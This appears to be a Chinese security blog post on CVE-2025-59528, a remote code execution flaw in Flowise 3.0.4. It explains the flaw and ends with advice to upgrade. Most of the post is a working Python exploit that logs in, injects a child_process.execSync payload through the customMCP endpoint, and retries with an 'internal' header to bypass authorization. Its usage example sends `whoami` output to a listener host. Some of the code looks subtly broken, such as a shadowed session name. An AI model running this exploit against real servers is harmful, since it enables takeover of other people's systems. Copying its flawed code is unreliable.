Flowise 3.0.4远程代码执行漏洞深度解析

本文详细分析了Flowise 3.0.4版本中存在的远程代码执行漏洞(CVE-2025-59528),包含漏洞原理、利用代码的技术细节,涉及身份验证绕过与命令注入等关键技术点,为安全研究人员提供深入的技术参考。

漏洞信息

漏洞标题: Flowise 3.0.4 - 远程代码执行(RCE) 披露日期: 2025年11月1日 漏洞作者: nltt0 风险等级: 高 攻击方式: 远程 影响版本: 低于 3.0.5 相关CVE: CVE-2025-59528, CVE-2025-58434 厂商主页: https://flowiseai.com/ 软件链接: https://github.com/FlowiseAI/Flowise

漏洞概述

在Flowise 3.0.4版本中,存在一个远程代码执行漏洞(CVE-2025-59528)。攻击者通过身份验证后,可利用/api/v1/node-load-method/customMCP接口中的命令注入点,执行任意系统命令,从而实现远程代码执行。

技术细节与利用代码

以下Python脚本演示了该漏洞的利用过程。脚本通过模拟登录获取会话,然后向特定接口发送包含恶意命令的Payload。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from requests import post, session
from argparse import ArgumentParser

banner = r"""
_____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                          |___/                  
                
                by nltt0
"""

try:
    parser = ArgumentParser(description='CVE-2025-59528 [Flowise < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --password Test@2025 --url http://localhost:3000 --cmd \"http://localhost:1337/`whoami`\"")
    parser.add_argument('-e', '--email', required=True, help='Registered email')
    parser.add_argument('-p', '--password', required=True)
    parser.add_argument('-u', '--url', required=True)
    parser.add_argument('-c', '--cmd', required=True)

    args = parser.parse_args()
    email = args.email
    password = args.password
    url = args.url
    cmd = args.cmd

    def login(email, url):
        session = session()
        url_format = "{}/api/v1/auth/login".format(url)
        headers = {"x-request-from": "internal", "Accept-Language": "pt-BR,pt;q=0.9", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Origin": "http://workflow.flow.hc", "Referer": "http://workflow.flow.hc/signin", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
        data={"email": email, "password": password}
        r = session.post(url_format, headers=headers, json=data)
        return session, r   
        
    def rce(email, url, password, cmd):
        session, status_code = login(email, url)
        url_format = "{}/api/v1/node-load-method/customMCP".format(url)
        command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'

        data = {
            "loadMethod": "listActions",
            "inputs": {
                "mcpServerConfig": command
            }
        }

        r = session.post(url_format, json=data)

        if r.status_code == 401:
            session.headers["x-request-from"] = "internal"
            session.post(url_format, json=data)

        print(f"[x] Command executed [{cmd}]")    

    rce(email, url, password, cmd)

except Exception as e:
    print('Error in {}'.format(e))

漏洞利用流程

  1. 登录认证: 脚本首先调用login函数,使用提供的邮箱和密码向/api/v1/auth/login接口发起POST请求,获取有效的会话。
  2. 命令构造: 利用点位于customMCP接口的mcpServerConfig参数。脚本构造了一个JavaScript函数字符串作为Payload。该函数通过Node.js的child_process模块同步执行传入的系统命令(cmd变量)。
  3. 漏洞触发: 脚本携带构造好的Payload,向/api/v1/node-load-method/customMCP接口发送POST请求。
  4. 权限处理: 如果返回状态码为401(未授权),脚本会在会话头信息中手动添加"x-request-from": "internal",并重新发送请求以绕过可能的内部权限检查。
  5. 命令执行: 成功触发后,目标系统将执行攻击者指定的命令,结果在服务器端返回。

影响与建议

该漏洞允许经过身份验证的攻击者在服务器上执行任意命令,可能导致服务器被完全控制。建议所有使用Flowise的用户立即升级至3.0.5或更高版本。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计